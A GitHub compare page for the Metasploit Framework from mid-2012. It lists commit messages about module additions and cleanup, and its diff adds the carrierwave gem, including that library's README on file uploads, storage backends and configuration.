Compare commits

...

71 Commits

Author SHA1 Message Date
HD Moore 6fc5152f96 MDM update to support fusion import 2012-06-14 10:36:33 -05:00
Tod Beardsley c585a95dba Language on Skype enum module 2012-06-13 14:34:15 -05:00
Tod Beardsley dfe6afc48a Language on MS12-005 2012-06-13 14:21:56 -05:00
Tod Beardsley ce851dcaca Caps in title 2012-06-13 14:19:39 -05:00
Tod Beardsley cd4cb8aceb Fixing print message in snort module 2012-06-13 14:10:05 -05:00
Tod Beardsley 066905f2d0 Cleaning up Modbus scanner 2012-06-13 13:58:48 -05:00
Tod Beardsley aabdfdc212 Fixing up mysql module text 2012-06-13 13:33:36 -05:00
Tod Beardsley 3bf0d47a64 Fixing CRLFs on winlog_runtime_2 2012-06-13 13:18:47 -05:00
Tod Beardsley 550dde59c5 Fixing indents on msadc module 2012-06-13 13:16:55 -05:00
Tod Beardsley 5c57870d97 Whitespace on mysql module. 2012-06-13 13:14:25 -05:00
Tod Beardsley 5ea86ef1db Adding carrierwave to metasploit's gemcache. 2012-06-12 12:50:58 -05:00
Tod Beardsley cef388812d Merge branch 'master' into release 2012-06-11 19:54:15 -05:00
Joe Vennix ec0153a83c Rollback rails to 3.2.2 to fix asset pipeline issues. 2012-06-06 11:22:01 -05:00
Joe Vennix c556a7e6be Rollback activerecord to 3.2.2 to prevent asset inclusion issues. 2012-06-06 11:21:52 -05:00
Tod Beardsley b504b23d2d msftidy found EOL spaces on new modules 2012-06-06 10:40:56 -05:00
Tod Beardsley 524ce94ecd Merge branch 'release' of github_r7:rapid7/metasploit-framework into release 2012-06-05 10:14:46 -05:00
HD Moore 7d07722767 Straighten out the login error path for nexpose API calls 2012-06-04 16:07:21 -05:00
Steve Tornio be00eff5b6 Adding swtornio's OSVDB ref
Watch the trailing commas, that wangs up Ruby 1.8.7 and prior.

Squashed commit of the following:

commit c00363993a726cd0c87fbaee769c44f680feff72
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Jun 4 09:33:18 2012 -0500

    Removing trailing comma

commit 594cae0cab
Author: Steve Tornio <swtornio@gmail.com>
Date:   Mon Jun 4 09:10:36 2012 -0500

    add osvdb ref
2012-06-04 16:07:21 -05:00
jvazquez-r7 00927eec85 Use of TARGETURI 2012-06-04 16:07:21 -05:00
jvazquez-r7 097dca22bd Verbose messages cleanup 2012-06-04 16:07:20 -05:00
jvazquez-r7 3ceabbd1f2 Fix typo in the URI param 2012-06-04 16:07:20 -05:00
jvazquez-r7 8fef08275d Added module for CVE-2012-0391 2012-06-04 16:07:20 -05:00
sinn3r d9b8c653b7 Change how we handle the password complexity failure 2012-06-04 16:07:20 -05:00
Chris John Riley af5bf45b31 Altered description to include information on the password complexity check
Altered the default password to meet the complexity checks

Note: The complexity checks (even if they fail) don't prevent the payload from running. At this point it only raises an warning and continues on. I can change this if it's more desirable however!
2012-06-04 16:07:20 -05:00
sinn3r 7a8824ab5e Fix typo thanks to juan 2012-06-04 16:07:20 -05:00
Chris John Riley 61e208af37 Added WMIC and complexity checks 2012-06-04 16:07:20 -05:00
Chris John Riley 2080617029 Added WMIC and complexity checks 2012-06-04 16:07:20 -05:00
Christian Mehlmauer 21d76f1589 Adding FireFart's RPORT(80) cleanup
This was tested by creating a resource script to load every changed
module and displaying the options, like so:

````
use auxiliary/admin/2wire/xslt_password_reset
show options
use auxiliary/admin/http/contentkeeper_fileaccess
show options
````

...etc. This was run in both the master branch and FireFart's branch
while spooling out the results of msfconsole, then diffing those
results. All modules loaded successfully, and there were no changes to
the option sets, so it looks like a successful fix.

Thanks FireFart!

Squashed commit of the following:

commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Fri May 25 22:09:42 2012 +0200

    Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
2012-06-04 16:07:20 -05:00
sinn3r 2dda99c5ae Change filename 2012-06-04 16:07:20 -05:00
sinn3r 2258139d3e Correct name 2012-06-04 16:07:20 -05:00
sinn3r bb5a243705 Add CVE-2011-4825 module 2012-06-04 16:07:19 -05:00
Christian Mehlmauer 06c64161f7 Adding FireFart's hashcollision DoS module
Have some minor edits below, looks like it all works now though.

Squashed commit of the following:

commit b7befd4889f12105f36794b1caca316d1691b335
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:31:32 2012 -0500

    Removing ord in favor of unpack.

    Also renaming a 'character' variable to 'c' rather than 'i' which is
    easy to mistake for an Integer counter variable.

commit e80f6a5622df2136bc3557b2385822ba077e6469
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:24:41 2012 -0500

    Cleaning up print msgs

commit 5fd65ed54cb47834dc646fdca8f047fca4b74953
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri Jun 1 14:19:10 2012 -0500

    Clean up hashcollision_dos description

    Caps, mostly. One sentence I still don't get but it's not really a show
    stopper.

commit bec0ee43dc9078d34a328eb416970cdc446e6430
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Thu May 24 19:11:32 2012 +0200

    Removed RPORT, ruby 1.8 safe, no case insensitive check, error handling

commit 20793f0dfd9103c4d7067a71e81212b48318d183
Author: Christian Mehlmauer <FireFart@gmail.com>
Date:   Tue May 22 23:11:53 2012 +0200

    Hashcollision Script (again)
2012-06-04 16:07:19 -05:00
Joe Vennix 2361a529c5 Add fix for counter_cache migration to keep from throwing readonly column error. 2012-06-04 16:07:19 -05:00
Tod Beardsley ad8f14432b Whitespace fix for script-fu module
This is really just to check the GitHub IRC bot thinger.
2012-06-04 16:07:19 -05:00
Joe Vennix 1fc8e8ff96 Add migrations for counter_cache columns to framework. 2012-06-04 16:07:19 -05:00
sinn3r d6a8e7a5f5 Modify the description 2012-06-04 16:07:19 -05:00
jvazquez-r7 87a9fefb3e Added module for CVE-2012-2763 2012-06-04 16:07:19 -05:00
David Maloney 42cd97e834 Bringin in new version of pcanywhere_login 2012-06-04 16:07:19 -05:00
David Maloney e6a53c834b trying to work around wierd git issue 2012-06-04 16:07:19 -05:00
Samuel Huckins 660c41efc6 MDM Update 2012-06-04 16:07:19 -05:00
David Maloney ac6661fadb Fix nil responses 2012-06-04 16:07:18 -05:00
James Lee 2ee620cee4 Whitespace, thanks msftidy.rb! 2012-06-04 16:07:18 -05:00
James Lee e0ce84a6e9 Chdir to TMP before writing files 2012-06-04 16:07:18 -05:00
Samuel Huckins a33c7db47e Now only loading MetasploitDataModels when not already loaded and
contained objects not in namespace
[Story #30430877]
2012-06-04 16:07:18 -05:00
James Lee bbaceffb8b Work around a bug in rubinius 2012-06-04 16:07:18 -05:00
Joe Vennix 84af16a8b4 Updating to Rails 3.2.4.
Among other fixes, this addresses the Rails security advisory
from 5/31/2012:

http://groups.google.com/group/rubyonrails-security/browse_thread/thread/7546a238e1962f59
http://groups.google.com/group/rubyonrails-security/browse_thread/thread/f1203e3376acec0f

Thanks Joe and Trevor!

Squashed commit of the following:

commit d7031cebcc
Author: Joe Vennix <Joe_Vennix@rapid7.com>
Date:   Thu May 31 16:57:29 2012 -0500

    Update activerecord in gemcache to support rails 3.2.4. [#30507689]

commit c7369f6d66
Author: Joe Vennix <Joe_Vennix@rapid7.com>
Date:   Thu May 31 16:53:01 2012 -0500

    Bump rails version.
2012-06-04 16:07:18 -05:00
Tod Beardsley 9a25b10059 Fixing description for citrix module 2012-06-04 16:07:18 -05:00
Tod Beardsley 080a231770 Fixing description for citrix module 2012-06-04 16:07:18 -05:00
Tod Beardsley f5bf954bf1 Fixing description for juan's Citrix module 2012-06-04 16:07:18 -05:00
jvazquez-r7 145747b48e Fixed name module 2012-06-04 16:07:17 -05:00
jvazquez-r7 6ca474e0d9 Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow 2012-06-04 16:07:17 -05:00
jvazquez-r7 4842be014a Added module for Citrix Streamprocess Opcode 0x40020002 Buffer Overflow 2012-06-04 16:07:17 -05:00
jvazquez-r7 df389bcd63 description updated 2012-06-04 16:07:17 -05:00
jvazquez-r7 82aa0185da Added module for ZDI-12-010 2012-06-04 16:07:17 -05:00
HD Moore 60bfe2ba1c Handle cases where a user-agent was set via headers 2012-06-04 16:07:17 -05:00
HD Moore 7e7690e5fb Handle cisco devices better with ssh logins 2012-06-04 16:07:17 -05:00
David Maloney cb4ccd427d Adds thelightcosine's pcanywhere module
Adds PCAnywhere bruteforce capabilities

Squashed commit of the following:

commit 5354fd849f0c009c534d7ce18369382dd56de550
Author: David Maloney <DMaloney@rapid7.com>
Date:   Thu May 31 14:35:23 2012 -0500

    Add explicit pack to encrypted header

commit 7911dd309a94df2729c8247c3817cf5de6b99aad
Author: David Maloney <DMaloney@rapid7.com>
Date:   Thu May 31 13:11:19 2012 -0500

    adds pcanywhere_login module
2012-06-04 16:07:17 -05:00
Steve Tornio 8d460f8343 add osvdb ref 2012-06-04 16:07:17 -05:00
sinn3r 2ea6795e02 Add s40 dir traversal vuln
I can't believe I stayed up all night, and this is all I could find.
2012-06-04 16:07:17 -05:00
Raphael Mudge ea18387d9c Adding rsmudge's Armitage update
Squashed commit of the following:

commit 60be1b2d1d
Author: Raphael Mudge <rsmudge@gmail.com>
Date:   Wed May 30 19:43:07 2012 -0400

    Armitage 05.30.12
    A small collection of bug fixes.
2012-06-04 16:07:17 -05:00
James Lee ff556cdbe1 But not *that* verbose 2012-06-04 16:07:16 -05:00
James Lee 8e46799e7a Make meterpreter test a little more verbose 2012-06-04 16:07:16 -05:00
James Lee f6bda30545 Add cd and pwd to Post::File API
Also changes working dir to /tmp (or %TMP% on Windows) when testing file
stuff.
2012-06-04 16:07:16 -05:00
sinn3r 7bf6431685 Print IP/Port for each message 2012-06-04 16:07:16 -05:00
sinn3r 785407b444 If we don't get a new file, we assume the upload failed. This is
possible when we actually don't have WRITE permission to the
'uploads/' directory.
2012-06-04 16:07:16 -05:00
sinn3r 6f7ab508c9 Don't really care about the return value for the last send_request_raw 2012-06-04 16:07:16 -05:00
sinn3r 0c50f9eac2 Allow the login() function to be a little more verbose for debugging purposes 2012-06-04 16:07:16 -05:00
James Lee 476cfb642d Committing Egypt's README updates
This is all documentation changes -- adds THIRD-PARTY licenses, updates
readme to be more like a readme, and moves the old readme to a COPYING
file.

Note that while this lands pull #388, it skips the Meterpreter changes
that were brought in almost certainly by accident.

Squashed commit of the following:

commit 7125509e8b
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 23 13:12:45 2012 -0600

    Add license info for rkelly and anemone

commit 14367041c3
Author: James Lee <egypt@metasploit.com>
Date:   Wed May 23 12:49:14 2012 -0600

    Add licenses for gemcache stuff to THIRD-PARTY

commit c22138cf24
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 17:24:14 2012 -0600

    Add useful links

commit 47a9df3d54
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:41:21 2012 -0600

    Add copyright notices

commit 687567dfe2
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:28:17 2012 -0600

    Give THIRD-PARTY an md extension

    Should make display on Github nicer

commit e322676413
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 16:22:55 2012 -0600

    Break licenses for bundled stuff into THIRD-PARTY

commit e6463c6e7f
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 14:06:01 2012 -0600

    Move README to COPYING

commit 8a6a6bb63f
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:53:31 2012 -0600

    Better wording.

commit 5ac46d4f68
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:51:58 2012 -0600

    Add a little more explanitory text to Contributing.

commit 54dab50d98
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:37:09 2012 -0600

    Missed one

commit e23c80f01e
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:36:33 2012 -0600

    Better links

commit 47b944ec65
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:26:12 2012 -0600

    Meh, GFM doesn't like my headings

commit 12a7651e91
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 12:24:42 2012 -0600

    Initial stab at a better README

commit e3a0d4731b
Author: James Lee <egypt@metasploit.com>
Date:   Mon May 14 11:59:41 2012 -0600

    LLC -> Inc.

commit 5b32b4245c
Author: James Lee <egypt@metasploit.com>
Date:   Sun May 13 17:50:04 2012 -0600

    Whitespace at EOL

commit e6719f18ab
Author: James Lee <egypt@metasploit.com>
Date:   Sun May 13 17:48:50 2012 -0600

    Only open /dev/null if we need it
2012-06-04 16:07:16 -05:00
sinn3r 7c5ede47f9 Add PHP Volunteer Management System exploit 2012-06-04 16:07:16 -05:00
Tod Beardsley 953c54aab9 Minor updates; added BID, fixed grammar
Modules should not refer to themselves in the first person unless they
are looking for Sarah Connor.
2012-05-30 16:17:01 -05:00
David Maloney 142a1727c9 Revert " Sets the passive flag on the JtR modules"
This reverts commit e70ccddc9a.
2012-05-30 10:14:13 -05:00
48 changed files with 4582 additions and 139 deletions
+1
View File
@@ -1032,6 +1032,7 @@ MIT
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
* carrierwave - Copyright (c) 2008-2012 Jonas Nicklas
* chunky_png - Copyright (c) 2010 Willem van Bergen
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger
* diff-lcs - Copyright 20042011 Austin Ziegler
+1 -1
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env ruby_noexec_wrapper
#!/usr/local/rvm/rubies/ruby-1.9.3-p125/bin/ruby
#
# This file was generated by RubyGems.
#
@@ -0,0 +1,785 @@
# CarrierWave
This gem provides a simple and extremely flexible way to upload files from Ruby applications.
It works well with Rack based web applications, such as Ruby on Rails.
[![Build Status](https://secure.travis-ci.org/jnicklas/carrierwave.png)](http://travis-ci.org/jnicklas/carrierwave)
## Information
* RDoc documentation [available on RubyDoc.info](http://rubydoc.info/gems/carrierwave/frames)
* Source code [available on GitHub](http://github.com/jnicklas/carrierwave)
* More information, known limitations, and how-tos [available on the wiki](https://github.com/jnicklas/carrierwave/wiki)
## Getting Help
* Please ask the [Google Group](http://groups.google.com/group/carrierwave) for help if you have any questions.
* Please report bugs on the [issue tracker](http://github.com/jnicklas/carrierwave/issues) but read the "getting help" section in the wiki first.
## Installation
Install the latest stable release:
[sudo] gem install carrierwave
In Rails, add it to your Gemfile:
```ruby
gem 'carrierwave'
```
Note that CarrierWave is not compatible with Rails 2 as of version 0.5. If you want to use
Rails 2, please use the 0.4-stable branch on GitHub.
## Getting Started
Start off by generating an uploader:
rails generate uploader Avatar
this should give you a file in:
app/uploaders/avatar_uploader.rb
Check out this file for some hints on how you can customize your uploader. It
should look something like this:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :file
end
```
You can use your uploader class to store and retrieve files like this:
```ruby
uploader = AvatarUploader.new
uploader.store!(my_file)
uploader.retrieve_from_store!('my_file.png')
```
CarrierWave gives you a `store` for permanent storage, and a `cache` for
temporary storage. You can use different stores, including filesystem
and cloud storage.
Most of the time you are going to want to use CarrierWave together with an ORM.
It is quite simple to mount uploaders on columns in your model, so you can
simply assign files and get going:
### ActiveRecord
Make sure you are loading CarrierWave after loading your ORM, otherwise you'll
need to require the relevant extension manually, e.g.:
```ruby
require 'carrierwave/orm/activerecord'
```
Add a string column to the model you want to mount the uploader on:
```ruby
add_column :users, :avatar, :string
```
Open your model file and mount the uploader:
```ruby
class User < ActiveRecord::Base
mount_uploader :avatar, AvatarUploader
end
```
Now you can cache files by assigning them to the attribute, they will
automatically be stored when the record is saved.
```ruby
u = User.new
u.avatar = params[:file]
u.avatar = File.open('somewhere')
u.save!
u.avatar.url # => '/url/to/file.png'
u.avatar.current_path # => 'path/to/file.png'
u.avatar.identifier # => 'file.png'
```
### DataMapper, Mongoid, Sequel
Other ORM support has been extracted into separate gems:
* [carrierwave-datamapper](https://github.com/jnicklas/carrierwave-datamapper)
* [carrierwave-mongoid](https://github.com/jnicklas/carrierwave-mongoid)
* [carrierwave-sequel](https://github.com/jnicklas/carrierwave-sequel)
There are more extensions listed in [the wiki](https://github.com/jnicklas/carrierwave/wiki)
## Changing the storage directory
In order to change where uploaded files are put, just override the `store_dir`
method:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def store_dir
'public/my/upload/directory'
end
end
```
This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.
Define `store_dir` as `nil` if you'd like to store files at the root level.
## Securing uploads
Certain file might be dangerous if uploaded to the wrong location, such as php
files or other script files. CarrierWave allows you to specify a white-list of
allowed extensions.
If you're mounting the uploader, uploading a file with the wrong extension will
make the record invalid instead. Otherwise, an error is raised.
```ruby
class MyUploader < CarrierWave::Uploader::Base
def extension_white_list
%w(jpg jpeg gif png)
end
end
```
### Filenames and unicode chars
Another security issue you should care for is the file names (see
[Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html#file-uploads)).
By default, CarrierWave provides only English letters, arabic numerals and '-+_.' symbols as
white-listed characters in the file name. If you want to support local scripts (Cyrillic letters, letters with diacritics and so on), you
have to override `sanitize_regexp` method. It should return regular expression which would match
all *non*-allowed symbols.
With Ruby 1.9 and higher you can simply write (as it has [Oniguruma](http://oniguruma.rubyforge.org/oniguruma/)
built-in):
```ruby
CarrierWave::SanitizedFile.sanitize_regexp = /[^[:word:]\.\-\+]/
```
With Ruby 1.8 you have to manually specify all character ranges. For example, for files which may
contain Russian letters:
```ruby
CarrierWave::SanitizedFile.sanitize_regexp = /[^a-zA-Zа-яА-ЯёЁ0-9\.\-\+_]/u
```
Also make sure that allowing non-latin characters won't cause a compatibility issue with a third-party
plugins or client-side software.
## Setting the content type
If you care about the content type of your files and notice that it's not being set
as expected, you can configure your uploaders to use `CarrierWave::MimeTypes`.
This adds a dependency on the [mime-types](http://rubygems.org/gems/mime-types) gem,
but is recommended when using fog, and fog already has a dependency on mime-types.
```ruby
require 'carrierwave/processing/mime_types'
class MyUploader < CarrierWave::Uploader::Base
include CarrierWave::MimeTypes
process :set_content_type
end
```
## Adding versions
Often you'll want to add different versions of the same file. The classic
example is image thumbnails. There is built in support for this:
```ruby
class MyUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
process :resize_to_fit => [800, 800]
version :thumb do
process :resize_to_fill => [200,200]
end
end
```
When this uploader is used, an uploaded image would be scaled to be no larger
than 800 by 800 pixels. A version called thumb is then created, which is scaled
and cropped to exactly 200 by 200 pixels. The uploader could be used like this:
```ruby
uploader = AvatarUploader.new
uploader.store!(my_file) # size: 1024x768
uploader.url # => '/url/to/my_file.png' # size: 800x600
uploader.thumb.url # => '/url/to/thumb_my_file.png' # size: 200x200
```
One important thing to remember is that process is called *before* versions are
created. This can cut down on processing cost.
It is possible to nest versions within versions:
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :animal do
version :human
version :monkey
version :llama
end
end
```
### Conditional versions
Occasionally you want to restrict the creation of versions on certain
properties within the model or based on the picture itself.
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :human, :if => :is_human?
version :monkey, :if => :is_monkey?
version :banner, :if => :is_landscape?
protected
def is_human? picture
model.can_program?(:ruby)
end
def is_monkey? picture
model.favorite_food == 'banana'
end
def is_landscape? picture
image = MiniMagick::Image.open(picture.path)
image[:width] > image[:height]
end
end
```
The `model` variable points to the instance object the uploader is attached to.
### Create versions from existing versions
For performance reasons, it is often useful to create versions from existing ones
instead of using the original file. If your uploader generates several versions
where the next is smaller than the last, it will take less time to generate from
a smaller, already processed image.
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :thumb do
process resize_to_fill: [280, 280]
end
version :small_thumb, :from_version => :thumb do
process resize_to_fill: [20, 20]
end
end
```
The option `:from_version` uses the file cached in the `:thumb` version instead
of the original version, potentially resulting in faster processing.
## Making uploads work across form redisplays
Often you'll notice that uploaded files disappear when a validation fails.
CarrierWave has a feature that makes it easy to remember the uploaded file even
in that case. Suppose your `user` model has an uploader mounted on `avatar`
file, just add a hidden field called `avatar_cache`. In Rails, this would look
like this:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= f.file_field :avatar %>
<%= f.hidden_field :avatar_cache %>
</p>
<% end %>
````
It might be a good idea to show the user that a file has been uploaded, in the
case of images, a small thumbnail would be a good indicator:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.file_field :avatar %>
<%= f.hidden_field :avatar_cache %>
</p>
<% end %>
```
## Removing uploaded files
If you want to remove a previously uploaded file on a mounted uploader, you can
easily add a checkbox to the form which will remove the file when checked.
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.file_field :avatar %>
</p>
<p>
<label>
<%= f.check_box :remove_avatar %>
Remove avatar
</label>
</p>
<% end %>
```
If you want to remove the file manually, you can call <code>remove_avatar!</code>.
## Uploading files from a remote location
Your users may find it convenient to upload a file from a location on the Internet
via a URL. CarrierWave makes this simple, just add the appropriate attribute to your
form and you're good to go:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar URL:</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.text_field :remote_avatar_url %>
</p>
<% end %>
```
## Providing a default URL
In many cases, especially when working with images, it might be a good idea to
provide a default url, a fallback in case no file has been uploaded. You can do
this easily by overriding the `default_url` method in your uploader:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def default_url
"/images/fallback/" + [version_name, "default.png"].compact.join('_')
end
end
```
## Recreating versions
You might come to a situation where you want to retroactively change a version
or add a new one. You can use the recreate_versions! method to recreate the
versions from the base file. This uses a naive approach which will re-upload and
process all versions.
```ruby
instance = MyUploader.new
instance.recreate_versions!
```
Or on a mounted uploader:
```ruby
User.all.each do |user|
user.avatar.recreate_versions!
end
```
## Configuring CarrierWave
CarrierWave has a broad range of configuration options, which you can configure,
both globally and on a per-uploader basis:
```ruby
CarrierWave.configure do |config|
config.permissions = 0666
config.storage = :file
end
```
Or alternatively:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
permissions 0777
end
```
If you're using Rails, create an initializer for this:
```ruby
config/initializers/carrierwave.rb
```
## Testing with CarrierWave
It's a good idea to test you uploaders in isolation. In order to speed up your
tests, it's recommended to switch off processing in your tests, and to use the
file storage. In Rails you could do that by adding an initializer with:
```ruby
if Rails.env.test? or Rails.env.cucumber?
CarrierWave.configure do |config|
config.storage = :file
config.enable_processing = false
end
end
```
If you need to test your processing, you should test it in isolation, and enable
processing only for those tests that need it.
CarrierWave comes with some RSpec matchers which you may find useful:
```ruby
require 'carrierwave/test/matchers'
describe MyUploader do
include CarrierWave::Test::Matchers
before do
MyUploader.enable_processing = true
@uploader = MyUploader.new(@user, :avatar)
@uploader.store!(File.open(path_to_file))
end
after do
MyUploader.enable_processing = false
@uploader.remove!
end
context 'the thumb version' do
it "should scale down a landscape image to be exactly 64 by 64 pixels" do
@uploader.thumb.should have_dimensions(64, 64)
end
end
context 'the small version' do
it "should scale down a landscape image to fit within 200 by 200 pixels" do
@uploader.small.should be_no_larger_than(200, 200)
end
end
it "should make the image readable only to the owner and not executable" do
@uploader.should have_permissions(0600)
end
end
```
Setting the enable_processing flag on an uploader will prevent any of the versions from processing as well.
Processing can be enabled for a single version by setting the processing flag on the version like so:
```ruby
@uploader.thumb.enable_processing = true
```
## Using Amazon S3
[Fog](http://github.com/fog/fog) is used to support Amazon S3. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to provide your fog_credentials and a fog_directory (also known as a bucket) in an initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
You can also pass in additional options, as documented fully in lib/carrierwave/storage/fog.rb. Here's a full example:
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'AWS', # required
:aws_access_key_id => 'xxx', # required
:aws_secret_access_key => 'yyy', # required
:region => 'eu-west-1' # optional, defaults to 'us-east-1'
}
config.fog_directory = 'name_of_directory' # required
config.fog_host = 'https://assets.example.com' # optional, defaults to nil
config.fog_public = false # optional, defaults to true
config.fog_attributes = {'Cache-Control'=>'max-age=315576000'} # optional, defaults to {}
end
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return the url to the file on Amazon S3.
## Using Rackspace Cloud Files
[Fog](http://github.com/fog/fog) is used to support Rackspace Cloud Files. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to configure a directory (also known as a container), username and API key in the initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'Rackspace',
:rackspace_username => 'xxxxxx',
:rackspace_api_key => 'yyyyyy'
}
config.fog_directory = 'name_of_directory'
end
```
You can optionally include your CDN host name in the configuration.
This is *highly* recommended, as without it every request requires a lookup
of this information.
```ruby
config.fog_host = "http://c000000.cdn.rackspacecloud.com"
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return
the url to the file on Rackspace Cloud Files.
## Using Google Storage for Developers
[Fog](http://github.com/fog/fog) is used to support Google Storage for Developers. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to configure a directory (also known as a bucket), access key id and secret access key in the initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'Google',
:google_storage_access_key_id => 'xxxxxx',
:google_storage_secret_access_key => 'yyyyyy'
}
config.fog_directory = 'name_of_directory'
end
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return
the url to the file on Google.
## Dynamic Fog Host
The `fog_host` config property can be assigned a proc (or anything that responds to `call`) for generating the host dynamically. The proc-compliant object gets an instance of the current `CarrierWave::Storage::Fog::File` as its only argument.
```ruby
CarrierWave.configure do |config|
config.fog_host = proc do |file|
identifier = # some logic
"http://#{identifier}.cdn.rackspacecloud.com"
end
end
```
## Using RMagick
If you're uploading images, you'll probably want to manipulate them in some way,
you might want to create thumbnail images for example. CarrierWave comes with a
small library to make manipulating images with RMagick easier, you'll need to
include it in your Uploader:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
end
```
The RMagick module gives you a few methods, like
`CarrierWave::RMagick#resize_to_fill` which manipulate the image file in some
way. You can set a `process` callback, which will call that method any time a
file is uploaded.
There is a demonstration of convert here.
Convert will only work if the file has the same file extension, thus the use of the filename method.
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
process :resize_to_fill => [200, 200]
process :convert => 'png'
def filename
super.chomp(File.extname(super)) + '.png'
end
end
```
Check out the manipulate! method, which makes it easy for you to write your own
manipulation methods.
## Using MiniMagick
MiniMagick is similar to RMagick but performs all the operations using the 'mogrify'
command which is part of the standard ImageMagick kit. This allows you to have the power
of ImageMagick without having to worry about installing all the RMagick libraries.
See the MiniMagick site for more details:
http://github.com/probablycorey/mini_magick
And the ImageMagick command line options for more for whats on offer:
http://www.imagemagick.org/script/command-line-options.php
Currently, the MiniMagick carrierwave processor provides exactly the same methods as
for the RMagick processor.
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::MiniMagick
process :resize_to_fill => [200, 200]
end
```
## Migrating from Paperclip
If you are using Paperclip, you can use the provided compatibility module:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::Compatibility::Paperclip
end
```
See the documentation for `CarrierWave::Compatibility::Paperclip` for more
details.
Be sure to use mount_on to specify the correct column:
```ruby
mount_uploader :avatar, AvatarUploader, :mount_on => :avatar_file_name
```
Unfortunately attachment_fu differs too much in philosophy for there to be a
sensible compatibility mode. Patches for migrating from other solutions will be
happily accepted.
## i18n
The Active Record validations use the Rails i18n framework. Add these keys to
your translations file:
```yaml
errors:
messages:
carrierwave_processing_error: 'Cannot resize image.'
carrierwave_integrity_error: 'Not an image.'
```
## Large files
By default, CarrierWave copies an uploaded file twice, first copying the file into the cache, then
copying the file into the store. For large files, this can be prohibitively time consuming.
You may change this behavior by overriding either or both of the `move_to_cache` and
`move_to_store` methods:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def move_to_cache
true
end
def move_to_store
true
end
end
```
When the `move_to_cache` and/or `move_to_store` methods return true, files will be moved (instead of copied) to the cache and store respectively.
This has only been tested with the local filesystem store.
## Contributing to CarrierWave
CarrierWave thrives on a large number of [contributors](https://github.com/jnicklas/carrierwave/contributors),
and pull requests are very welcome. Before submitting a pull request, please make sure that your changes are well tested.
You'll need to install bundler and the gem dependencies:
gem install bundler
bundle install
You should now be able to run the local tests:
bundle exec rake
You can also run the remote specs by creating a ~/.fog file:
```yaml
:carrierwave:
:aws_access_key_id: xxx
:aws_secret_access_key: yyy
:rackspace_username: xxx
:rackspace_api_key: yyy
:google_storage_access_key_id: xxx
:google_storage_secret_access_key: yyy
```
You should now be able to run the remote tests:
REMOTE=true bundle exec rake
Please test with the latest Ruby 1.8.x and 1.9.x versions using RVM if possible.
## License
Copyright (c) 2008-2012 Jonas Nicklas
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
